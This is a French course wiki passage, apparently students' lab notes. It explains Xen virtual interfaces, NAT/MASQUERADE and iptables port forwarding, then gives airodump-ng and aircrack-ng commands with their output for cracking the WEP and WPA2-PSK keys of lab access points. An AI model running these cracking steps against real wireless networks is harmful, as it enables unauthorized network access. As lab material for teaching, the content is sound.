&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : tu déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, tu as un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* Tu crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP tu es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Tu verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. Tu peux matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre tes VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; tu mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* tes machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
=== MASCARED D'IP ===&lt;br /&gt;
&lt;br /&gt;
=== Le problème ===&lt;br /&gt;
Tes VM de service sont en '''IPv4 privé''' (ex: &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Ces adresses '''ne sont pas routables sur Internet''' (elles n’existent pas “officiellement” sur le réseau public).&lt;br /&gt;
&lt;br /&gt;
Donc si une VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; envoie un paquet vers Internet (ex: &amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;), le monde extérieur ne peut pas répondre directement à &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → c’est une adresse privée.&lt;br /&gt;
&lt;br /&gt;
'''La solution : NAT sortant (Masquerade)'''&lt;br /&gt;
&lt;br /&gt;
La machine '''mandataire''' (Rosemonde dans mon cas) joue le rôle de '''gateway NAT''' :&lt;br /&gt;
&lt;br /&gt;
* '''En interne''' : les services parlent en &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''En externe''' : le mandataire remplace l’IP source par '''son IP publique''' (ex: &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc vu depuis Internet, tout semble venir de &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; :&amp;lt;blockquote&amp;gt;“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé '''conntrack''' (suivi de connexions).&lt;br /&gt;
&lt;br /&gt;
Exemple : la VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; fait un &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; vers un serveur public &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
# La VM envoie :&lt;br /&gt;
&lt;br /&gt;
* source = &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
* destination = &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Le mandataire applique &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; en sortie (POSTROUTING) :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt; (port éventuellement modifié)&lt;br /&gt;
&lt;br /&gt;
# Le mandataire enregistre une “table de correspondance” (conntrack) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt; ↔ &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Quand la réponse revient de &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt; vers &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;,  le mandataire “dé-NAT” automatiquement et renvoie vers :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le NAT permet à '''plusieurs machines privées''' de partager '''une seule IPv4 publique''' grâce à :&lt;br /&gt;
&lt;br /&gt;
* réécriture d’IP&lt;br /&gt;
* réécriture de ports (PAT)&lt;br /&gt;
* suivi d’état (conntrack)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc tu exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si tu as une politique restrictive). Dans ton cas, tu n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Autre amélioration très recommandée : préciser l’interface de sortie ===&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, tu peux NATer des flux que tu ne voulais pas NATer si tu as plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12379</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12379"/>
		<updated>2026-02-24T16:42:36Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* 1) Les VIF : cartes réseau virtuelles de la VM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
